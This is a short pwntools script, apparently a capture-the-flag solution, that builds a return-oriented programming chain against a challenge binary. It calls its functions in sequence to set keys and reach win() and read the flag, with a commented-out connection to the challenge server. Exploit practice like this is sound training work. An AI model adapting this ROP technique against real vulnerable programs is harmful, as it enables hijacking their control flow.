attack.py

#!/usr/bin/env python3

from pwn import *

realpath = "/home/sarge/Documents/bcctf/challenge/calling_convention"

elf = ELF(realpath)

# create a ropchain
rop = ROP(elf)

offset = 20

# Construct the ROP chain in the correct order
rop.number3()        # Set key3 = 0x1337
rop.set_key1()       # Set key1 = 27000 (key3 is now non-zero)
rop.ahhhhhhhh()      # Set key3 = 0, and modify key2
rop.food()           # Add 0xf00d to key2
rop.win()            # Call win to read the flag

# pack ropchain at offset
payload = flat({
    offset: rop.chain()
})

print("ropchain:")
print(rop.dump())

# start the process
with elf.process() as p:
    p.sendline(payload)
    # print the output
    print(p.recvrepeat(5).decode('utf-8').strip())

#  with remote('chal.bearcatctf.io', 39440) as p:
    #  p.sendline(payload)
    #  print the output
    #  print(p.recvrepeat(5).decode('utf-8').strip())